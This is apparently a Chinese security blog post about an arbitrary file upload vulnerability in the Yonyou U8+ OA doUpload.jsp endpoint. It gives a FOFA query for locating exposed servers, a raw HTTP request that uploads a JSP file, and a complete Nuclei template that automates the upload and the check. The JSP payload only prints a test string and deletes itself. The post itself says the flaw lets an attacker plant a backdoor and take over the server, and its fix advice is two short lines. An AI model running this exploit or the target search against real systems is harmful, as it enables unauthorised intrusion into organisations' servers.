用友U8+OA doUpload.jsp 文件上传漏洞

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

用友U8+ OA经过20多年的市场锤炼,不断贴近客户需求,以全新UAP为平台,应对中型及成长型企业客户群的发展,提供的是一整套企业级数智化升级解决方案,为成长型企业构建精细管理、产业链协同、社交化运营为一体的企业互联网经营管理平台,助力企业应势而变,赢得未来。

用友U8+ OA doUpload.jsp 接口存在文件上传漏洞,攻击者可通过该漏洞在服务器端写入后门文件,任意执行代码,获取服务器权限,进而控制整个 web 服务器。

Ⅱ、fofa语句

title="用友U8-OA"

Ⅲ、漏洞复现

POC

POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Content-Length: 248
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----syowx9dzsw75xlftuop1

------syowx9dzsw75xlftuop1
Content-Disposition: form-data; name="iconFile";filename="p3jxifcpyb.jsp"

<% out.println("Hello World!");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>    
------syowx9dzsw75xlftuop1--

1、构建poc

2、访问

http://127.0.0.1​/yyoa/portal/upload/1707381374791.jsp

 

Ⅳ、Nuclei-POC

id: yonyou-U8-doUpload-jsp-uploadfile

info:
  name: 用友U8-OA协同工作系统doUpload.jsp接口存在任意文件上传漏洞,攻击者可通过该漏洞在服务器端写入后门文件,任意执行代码,获取服务器权限,进而控制整个 web 服务器。
  author: WLF
  severity: high
  metadata: 
    fofa-query: title="用友U8-OA"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: close
        Upgrade-Insecure-Requests: 1
        Content-Length: 219
        Content-Type: multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75

        --7b1db34fff56ef636e9a5cebcd6c9a75
        Content-Disposition: form-data; name="iconFile"; filename="ceshi.jsp"
        Content-Type: application/octet-stream

        <% out.println("Hello World!");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
        --7b1db34fff56ef636e9a5cebcd6c9a75--

      - |
        GET /yyoa/portal/upload/{{path}}.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

    extractors:
      - type: regex
        name: path
        group: 1
        regex:
           - 'window\.returnValue = "(\w*)\.jsp"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"Hello World!")

Ⅴ、修复建议

1、设置访问控制策略

2、升级至安全版本

  • 13
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值